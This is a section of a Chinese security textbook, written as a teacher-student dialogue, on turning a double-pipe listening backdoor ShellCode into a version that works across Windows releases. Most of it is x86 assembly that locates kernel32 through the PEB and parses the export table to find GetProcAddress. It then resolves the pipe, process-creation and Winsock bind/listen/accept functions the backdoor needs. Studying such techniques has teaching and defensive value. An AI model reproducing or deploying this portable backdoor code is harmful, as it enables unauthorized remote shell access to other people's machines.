6.1.4 通用ShellCode的编写——监听后门

“我们把以前写的双管道后门ShellCode改成各系统通用的版本吧!”老师说道,“我们用刚才的思路,在获得了GetProcAddress函数的地址后,再调用GetProcAddress,这样获得所有要使用的函数地址后,存起来就可以了。”

大家都点点头。

老师喝了口水,说道:“看看以前的那个ShellCode,一开始就把各函数在XP SP0下的地址存放了起来,所以不通用。我们修改时,只需加上一段动态获得各函数地址的代码,然后再存放就可以了。”

“具体来说,原来的实现是这样的,直接存放地址值。”

//原来的实现,把要用到的函数地址存起来——以下都是XP SP0
mov eax,0x77e5727a
mov [ebp+4], eax; CreatePipe
mov eax,0x77e41bb8
mov [ebp+8], eax; CreateProcessA
mov eax,0x77e97624
mov [ebp+12], eax; PeekNamedPipe 
mov eax,0x77e59d8c
mov [ebp+16], eax; WriteFile
mov eax,0x77e58b82
mov [ebp+20], eax; ReadFile
mov eax,0x77e55cb5
mov [ebp+24], eax; ExitProcess
mov eax,0x71a241da
mov [ebp+28], eax; WSAStartup
mov eax,0x71a23c22
mov [ebp+32], eax; socket
mov eax,0x71a23ece
mov [ebp+36], eax; bind
mov eax,0x71a25de2
mov [ebp+40], eax; listen
mov eax,0x71a2868d
mov [ebp+44], eax; accept
mov eax,0x71a21af4
mov [ebp+48], eax; send
mov eax,0x71a25690
mov [ebp+52], eax; recv

“而现在,我们首先加上一段前面的动态获取GetProcAddress函数地址的代码。”

mov eax, fs:0x30 ;PEB
mov eax, [eax + 0x0c] ;Ldr
mov esi, [eax + 0x1c] ;Flink
lodsd 
mov edi, [eax + 0x08] ;edi就是kernel32.dll的地址
mov eax, [edi+3Ch] ;eax = PE首部
mov edx,[edi+eax+78h]
add edx,edi ;edx = 输出表地址
mov ecx,[edx+18h] ;ecx = 输出函数的个数
mov ebx,[edx+20h] 
add ebx,edi ;ebx =函数名地址,AddressOfName 
search:
dec ecx
mov esi,[ebx+ecx*4] 
add esi,edi ;依次找每个函数名称
;GetProcAddress
mov eax,0x50746547
cmp [esi], eax; 'PteG'
jne search
mov eax,0x41636f72
cmp [esi+4],eax; 'Acor'
jne search 
;如果是GetProcA,表示找到了 
mov ebx,[edx+24h]
add ebx,edi ;ebx = 索引号地址,AddressOf
mov cx,[ebx+ecx*2] ;ecx = 计算出的索引号值
mov ebx,[edx+1Ch]
add ebx,edi ;ebx=函数地址的起始位置,AddressOfFunction
mov eax,[ebx+ecx*4] 
add eax,edi ;利用索引值,计算出GetProcAddress的地址

“然后,依次动态获得CreatePipe、CreateProcessA等函数的地址,替换直接存放的值。比如,找CreatePipe函数地址的代码如下:”

push dword ptr 0x00006570
push dword ptr 0x69506574
push dword ptr 0x61657243
push esp
push edi 
call [ebp+76]
mov [ebp+4], eax; CreatePipe

老师解释道:“相当于执行GetProcAddress(kernel32基址,”CreatePipe”)。还是一样,先把参数CreatePipe字符串地址和kernel32的基址值依次入栈,然后call GetProcAddress函数的地址(我们之前把它存在ebp+76的地方),所以 call [ebp+76] 就执行了 GetProcAddress (kernel32基址,”CreatePipe”) 这句话。Eax为返回值——CreatePipe函数的地址,我们把它存在对应的ebp+4的地方。”

“哦!”同学们明白了,“后面的函数也是这样获取?”

“是的!”老师说到,“但要注意,像Socket一类套接字函数的地址,不是在kernel32.dll中,而是在Ws2_32.dll中!所以,我们要先 LoadLibrary(“Ws2_32.dll”) 获得Ws2_32.dl的基址,再用 GetProcAddress (Ws2_32.dl基址,” socket”) 来获取类似套接字函数的地址。”

“具体说来,就是要加上如下获取函数地址的代码。”

push ebp;
sub esp, 100; 
mov ebp,esp;
mov eax, fs:0x30 ;PEB
mov eax, [eax + 0x0c] ;Ldr
mov esi, [eax + 0x1c] ;Flink
lodsd 
mov edi, [eax + 0x08] ;edi就是kernel32.dll的地址
mov eax, [edi+3Ch] ;eax = PE首部
mov edx,[edi+eax+78h]
add edx,edi ;edx = 输出表地址
mov ecx,[edx+18h] ;ecx = 输出函数的个数
mov ebx,[edx+20h] 
add ebx,edi ;ebx =函数名地址,AddressOfName 
search:
dec ecx
mov esi,[ebx+ecx*4] 
add esi,edi ;依次找每个函数名称
;GetProcAddress
mov eax,0x50746547
cmp [esi], eax; 'PteG'
jne search
mov eax,0x41636f72
cmp [esi+4],eax; 'Acor'
jne search 
;如果是GetProcA,表示找到了 
mov ebx,[edx+24h]
add ebx,edi ;ebx = 索引号地址,AddressOf
mov cx,[ebx+ecx*2] ;ecx = 计算出的索引号值
mov ebx,[edx+1Ch]
add ebx,edi ;ebx=函数地址的起始位置,AddressOfFunction
mov eax,[ebx+ecx*4] 
add eax,edi ;利用索引值,计算出GetProcAddress的地址
mov [ebp+76], eax ;把GetProcAddress的地址存在 ebp+76中
push 0x0
push dword ptr 0x41797261
push dword ptr 0x7262694c
push dword ptr 0x64616f4c
push esp
push edi 
call [ebp+76]
mov [ebp+80], eax; LoadLibraryA ;把LoadLibraryA的地址存在ebp+80中
push dword ptr 0x00006570
push dword ptr 0x69506574
push dword ptr 0x61657243
push esp
push edi 
call [ebp+76]
mov [ebp+4], eax; CreatePipe 0x00006570 69506574 61657243
push dword ptr 0x00004173
push dword ptr 0x7365636f
push dword ptr 0x72506574
push dword ptr 0x61657243
push esp
push edi
call [ebp+76]
mov [ebp+8], eax; CreateProcessA 0x4173 7365636f 72506574 61657243
push dword ptr 0x00000065
push dword ptr 0x70695064
push dword ptr 0x656d614e
push dword ptr 0x6b656550
push esp
push edi
call [ebp+76]
mov [ebp+12], eax; PeekNamedPipe 0x00000065 70695064 656d614e 6b656550
push dword ptr 0x00000065
push dword ptr 0x6c694665
push dword ptr 0x74697257
push esp
push edi
call [ebp+76]
mov [ebp+16], eax; WriteFile 0x00000065 0x6c694665 0x74697257
push dword ptr 0
push dword ptr 0x656c6946
push dword ptr 0x64616552 
push esp
push edi
call [ebp+76]
mov [ebp+20], eax; ReadFile 
push dword ptr 0x00737365
push dword ptr 0x636f7250 
push dword ptr 0x74697845
push esp
push edi
call [ebp+76]
mov [ebp+24], eax; ExitProcess 0x00737365 0x636f7250 0x74697845
push dword ptr 0x00003233
push dword ptr 0x5f327357
push esp
call [ebp+80] ;LoadLibrary(Ws2_32) 0x00003233 5f327357
mov edi, eax 
push dword ptr 0x00007075
push dword ptr 0x74726174
push dword ptr 0x53415357
push esp
push edi
call [ebp+76]
mov [ebp+28], eax; WSAStartup 0x00007075 0x74726174 0x53415357
push dword ptr 0x00007465
push dword ptr 0x6b636f73 
push esp
push edi
call [ebp+76]
mov [ebp+32], eax; socket 0x00007465 0x6b636f73
push dword ptr 0
push dword ptr 0x646e6962 
push esp
push edi
call [ebp+76]
mov [ebp+36], eax; bind 0x646e6962
push dword ptr 0x00006e65
push dword ptr 0x7473696c
push esp
push edi
call [ebp+76]
mov [ebp+40], eax; listen 0x00006e65 0x7473696c
push dword ptr 0x00007470
push dword ptr 0x65636361 
push esp
push edi
call [ebp+76]
mov [ebp+44], eax; accept 0x00007470 0x65636361
push 0
push dword ptr 0x646e6573 
push esp
push edi
call [ebp+76]
mov [ebp+48], eax; send 0x646e6573
push 0
push dword ptr 0x76636572 
push esp
push edi
call [ebp+76]
mov [ebp+52], eax; recv 0x76636572
mov eax,0x0
mov [ebp+56],0
mov [ebp+60],0
mov [ebp+64],0
mov [ebp+68],0
mov [ebp+72],0
LWSAStartup:

“动态获取每个函数的地址后,剩下的代码就完全不用改变。我们把它合起来后,得到Pipe2AllVersionAsm.cpp(光盘有收录)。再测试一下,果然成功了!如图6-7。”

“欢迎大家来到——宇宙通用版!”老师说道。

“哇!太Cool了!”教室里一阵欢腾,把中国队7:0都没有出线的悲伤抛在了脑后。

“接下来大家应该知道做什么了吧?”老师笑道。

“啊?做什么呢?” 玉波装糊涂的问道。

“提取ShellCode啊!”老师可一点儿不含糊。

“哇!这么长的代码,好可怕啊!”连一向勤奋的古风都受不了一句句抄写的“折磨”,“有没有简单点的方法啊?”

“嗯,”老师打量了一下代码说道,“是有点长……反正大家的思路都清楚了,再抄也没必要了。”

“就是啊!”台下齐声说道。

“好,那这次就先别提取了,留在我们讲ShellCode提取技巧时再说吧!我们继续看其他的方法。”

“好啊!”大家不用做单调的苦力活,高兴ing……